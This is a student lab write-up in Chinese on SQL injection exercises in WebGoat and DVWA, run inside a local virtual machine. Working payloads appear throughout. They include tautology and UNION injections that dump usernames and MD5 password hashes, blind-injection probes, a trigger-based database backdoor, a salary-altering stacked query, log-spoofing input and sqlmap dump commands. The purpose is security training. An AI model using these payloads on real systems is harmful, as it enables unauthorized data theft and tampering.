SQL注入实验

实验目的

  1. 安装和配置WebGoatWebScarab
  2. 使用WebGoat,根据提示信息,完成包括Injection Flaw大类下的String SQL注入,Numeric SQL注入,Log SpoofingXPATH Injection等安全弱点的攻击测试。

安装和配置WebGoatWebScarab

  1. 用于测试的主机已经配置完成JAVA环境,在使用WebScarab时只需要在webscarab-selfcontained-20070504-1631.jar文件所在的目录调出命令行,输入

    1
    java -jar webscarab-selfcontained-20070504-1631.jar

    1565859620286

  2. 使用Vmware安装一个ubuntu虚拟机,镜像选择GameOver.0.1.null.iso,该镜像已经配置好WebGoat环境

    1565859645909

  3. 安装完成后,输入命令行:ifconfig,查看IP地址为192.168.88.149

    1565859672911

  4. 访问URL:http://192.168.88.149:8080/WebGoat/attack,输入用户名guest和密码guest,显示如下页面说明安装成功,点击start WebGoat,然后点击injection flaws进行攻击测试

    1565859727470

    1565859743879

    1565859750160

String SQL注入

  1. 在左侧菜单中找到string SQL injection并单击,在输入框中输入字符串Levi,显示没有结果匹配,同时显示出查找语句

    1
    SELECT * FROM user_data WHERE last_name = 'Levi'
  2. 根据该查找语句,输入‘ or 1=1 --,构造语句

    1
    SELECT * FROM user_data WHERE last_name = '' or 1=1 -- '

    --是数据库语言中的注释字符,它的作用是将最后一个单引号变为无效字符,查询语言等同于:

    1
    SELECT * FROM user_data

    结果显示user_data中所有的数据

    1565859930271

Numeric SQL注入

  1. 在左侧菜单中找到string SQL injection并单击,页面中有一个下拉框,点击GO!按钮可以得到查询结果如图所示,同时显示出查找语句:

    1
    SELECT * FROM weather_data WHERE station = 101

    1565860072183

    1565860083941

  2. 因为页面中的输入项变成了下拉框,所以没法直接构造查询字符串, 之前的String SQL注入在这里无法完成,需要借助WebScarab代理工具来完成SQL注入攻击,使用之前配置的JAVA环境,在webscarab-selfcontained-20070504-1631.jar所在的目录打开命令行,并输入

    1
    java -jar webscarab-selfcontained-20070504-1631.jar

    打开WebScarab,在Intercept标签中选定Intercept Request,并在Methods中选定POST方法

    1565860227911

    1565860232723

  3. 将使用的火狐浏览器设置为手动代理,地址为127.0.0.1,端口为8008

    1565860258781

  4. 在网页上继续点击GO! ,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发。URLEncoded栏中可以看到Request中传递的参数,其中station就是下拉选框的参数,可以看到其值为101

    1565860336407

  5. 将该参数修改为101 or 1=1,构造语句

    1
    SELECT * FROM weather_data WHERE station = 101 or 1=1

    查询语言等同于:

    1
    SELECT * FROM weather_data

    1565860390596

  6. 点击Accept changes按钮提交Request请求,数据库中所有数据内容都显示在页面上

    1565860424728

Blind SQL注入

  1. 在左侧菜单中找到Blind SQL injection并单击,跳转到Blind SQL injection页面,根据提示需要盲注以找到正确的first_name (由大小写字母构成),更改输入框内容,发现只有101是合法的

    1565860517736

  2. 将使用的火狐浏览器设置为同上的手动代理,启动WebScarab,在网页上点击GO! ,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发

    1565860549367

  3. 使用盲注工具JHijack进行盲注,设置HijackDataNumeric,范围为65-122(大小写字母ASCII码范围),Host设置为该网站的IP地址192.168.88.149Port设置为8080,URL设置为/WebGoat/attack?Screen=163&menu=1200,方法改为POSTGrep设置为Account number is validSESS ID设置为上图中的Cookie内容JSESSIONID=A734E5274D7A7D5D84E2D529D5D3146
    4Hijack Type设置为BODYHijack ID设置为account_number=101 AND (SELECT ASCII(SUBSTR(first_name,1,1)) FROM user_data WHERE userid = 15613 ) =$ --,点击Hijack按钮,进行第一个字符的盲注,结果得到第一个字符的ASCII码74

    1565860682841

  4. Hijack ID里面的(first_name,1,1)更改为(first_name,2,1),点击Hijack,获取第二个字符的ASCII码111,以此类推,直至到七个字符时,并未获得结果,说明,first_name由六个字符构成,将ASCII码转换成字母为:**Joesph**

    1565860769818

  5. 将正确的first_name:Joseph输入到输入框点击GO! ,注入成功

    1565860799195

Log Spoofing(日志欺骗)

  1. 在左侧菜单中找到Log Spoofing并单击,页面中出现两个输入框,在username输入框输入1‘ or 1=1 --,点击login,查询失败,同时显示:Login failed for username: 1' or 1=1 --,很明显,显示的内容是Web服务器的日志中的记录的内容

    1565860881715

  2. 在输入框中输入1 Login Succeeded for username :
    admin,会显示Login failed for username: 1 Login Succeeded for username : admin

    1565860912207

  3. 利用换行符%0A将输入内容在Login前面分成两行,即在输入框输入:1%0d%0aLogin Succeeded for username:admin,尝试欺骗管理员,点击Login后在日志中显示成功使用户名admin登录,登录日志为
    Login failed for username: 1
    Login Succeeded for username:admin

    (注意:在换行的时候要使用换行符%0A,如果使用回车符%0D则只能显示登录日志,不显示攻击成功)

    1565861012855

XPATH注入

  1. 在左侧菜单中找到XPATH Injection并单击,页面中出现两个输入框,根据提示在username输入框输入Levi,在username输入框输入test123,点击submit,网页显示Mike的相关信息

    1565861154130

  2. 在用户名处输入' or 1=1 or 'a' = 'a,密码任意输入,这样服务器解析后的结果为expression = "/employees/employee[ (loginID/text() = ' or 1=1 ) OR ( 'a' = 'a' and passwd/text () = 'password' )]" ,结果显示所有人的信息

    1565861244754

LAB:SQL Injection

  1. 在左侧菜单中找到string SQL injection中的Stage 1: String SQL Injection并单击,根据网页提示,需要以boss的用户名Neville进行绕过密码登录

    1565861365764

  2. 尝试在密码输入栏输入:‘ or 1=1 --,点击Login后显示登录失败

    1565861388823

  3. 查看网页源码,发现输入的密码被限制最大长度为8个字符

    1565861415462

  4. 将网页源码中最大长度修改为20,然后在输入:
    or 1=1 --,点击Login后,成功绕过密码,显示登录成功

    1565861522793

  5. 在左侧菜单中找到string SQL injection中的Stage 3: Numeric SQL Injection并单击,根据网页提示,需要以employee账户的用户名Larry进行登录,绕过权限限制,浏览boss的账户信息

    1565861561587

  6. 在密码输入栏输入:Larry,成功登录

    1565861581845

  7. 将使用的火狐浏览器设置为手动代理,地址为127.0.0.1,端口为8008。点击ViewProfile,这时WebScarab会弹出Edit Request窗口,代理设置生效,浏览器的请求经过代理转发。在URLEncoded栏中添加一条参数employee_id,内容是:101 or 1=1 order by salary desc,点击Accept changes提交更改,绕过权限限制,employee账户Larry成功浏览boss的账户信息

    1565861666493

Database Backdoors

  1. 在左侧菜单中找到Database Backdoors并单击。根据提示,User ID101。这个页面可以看到自己的password, ssnsalary。我们需要使用一个易受攻击的字段来创建两条SQL语句并尝试注入另一个更新,将工资更新到更高的级别

    1565861755893

  2. 在输入框中输入101 OR 1=1,尝试注入,结果显示所有User ID的信息,注入成功

    1565861777502

  3. 选择User ID105,将他的Salary50000更改为900000,输入的内容为:103;UPDATE employee SET salary=900000 WHERE userid=105,点击Submit,显示注入成功

    1565861836101

  4. 接下来是创建一个后门,根据提示,输入:105; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email = 'john@hackme.com' WHERE userid = 105,点击Submit,显示注入成功

    1565861901321

思考题

针对DVWA演练平台,在SQL Injection攻击实验中,且要求在低级和中级安全级别中,获取用户信息表中全部的用户名及口令信息,并尝试将数据库所有库表数据全部拖出。

在浏览器中输入http://192.168.88.149 /dvwa进入DVWA平台,输入用户名admin,密码password,成功登录平台

1565861980984

1565861986023

手工注入

安全级别低级

  1. 进行安全级别设置

    1565862043052

  2. 选择SQL Injection,输入ID1,得到结果如下

    1565862076676

  3. 尝试输入‘ or 1=1--,得到报错信息,说明表单存在注入漏洞且不是数字型注入

    1565862098254

  4. 尝试字符型注入,输入1’ or ‘1’=’1,成功遍历数据库中的内容

    1565862121610

  5. 测试查询信息列数,输入1’ order by x --

    1565862152256

    1565862157243

    当测试到3时,出现报错信息,说明查询结果值为2

    1565862174858

  6. 输入1' union select 1,2 -- ,确定字段的顺序为First nameSurname

    1565862222733

  7. 输入1’ union select 1,database() -- ,得知数据库名为dvwa

    1565862284087

  8. 输入1' union select 1,table_name from information_schema.tables where table_schema='dvwa'-- ,得知数据库两个表名为guestbookusers

    1565862325209

  9. 选择其中的users表,输入``1’ union select 1,column_name from information_schema.columns where table_name=’users’– ,查询user`表的字段名

    1565862367139

  10. 只需要得到用户名和密码,因此输入``1’ union select user,password from users–` ,结果如下

    1565862400235

    其中密码是md5加密,可以使用解码网站解密,如5f4dcc3b5aa765d61d8327deb882cf99解密后为password

    1565862422877

安全级别中级

  1. 进行安全级别设置

    1565863222560

  2. 尝试输入1’ or ‘1’=’1,发现报错信息,可以发现安全级别为中级时,对字符进行转义处理

    1565863258617

  3. 尝试数字型注入,输入1 or 1=1,成功查询到所有的数据

    1565863306258

  4. 与低级类似,输入1 union select 1,database() -- ,得知数据库名为dvwa

    1565863334915

  5. 同样,输入1 union select user,password from users-- ,得到用户名和密码,其中密码是md5加密,可以使用解码网站解密

    1565863362085

SQLMAP工具注入

安全级别低级

  1. 进行安全级别设置

    1565862043052

  2. 输入id1,使用URLSQLMAP中尝试:

    1
    python sqlmap.py -u http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

    发现跳转到登陆界面,需要加上cookie

    1565862650413

  3. 在浏览器中查看cookie并记录

    1565862664106

  4. SQLMAP目标URL带上cookie重新尝试:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"

    注入成功

    1565862750086

    1565862761063

  5. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs

    列举数据库名称有:dvwainformation_schemamysqlowasp10wackopicko

    1565862837386

    1565862843842

  6. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa –tables 

    选择其中的dvwa库查看表信息,发现有两个表,分别是:guestbookusers

    1565862931713

    1565862940712

  7. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns

    选择users表,查看表中的列

    1565863006027

    1565863010978

  8. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump

    选择其中的userpassword进行查看,可得到全部用户名和密码,其中密码为md5加密,可以通过解码网站破解

    1565863074071

安全级别中级

  1. 进行安全级别设置

    1565863222560

  2. 在SQLMAP目标url带上cookie重新尝试:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87 057104"

    注入成功

    1565863427938

    1565863433020

  3. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" --dbs

    列举数据库名称有:dvwainformation_schemamysqlowasp10wackopicko

    1565863487711

    1565863498957

  4. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/ vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa --tables

    选择其中的dvwa库查看表信息,发现有两个表,分别是:guestbookusers

    1565863540630

    1565863544746

  5. 在命令行中输入:

    1
    python sqlmap.py -u"http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users --columns

    选择users表,查看表中的列

    1565863584752

    1565863588715

  6. 在命令行中输入:

    1
    python sqlmap.py -u "http://192.168.88.149/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=ok7714gv32gkn2rvdh87057104" -D dvwa -T users -C user,password --dump

    选择其中的userpassword进行查看,可得到全部用户名和密码,其中密码为md5加密,可以通过解码网站破解

    1565863634151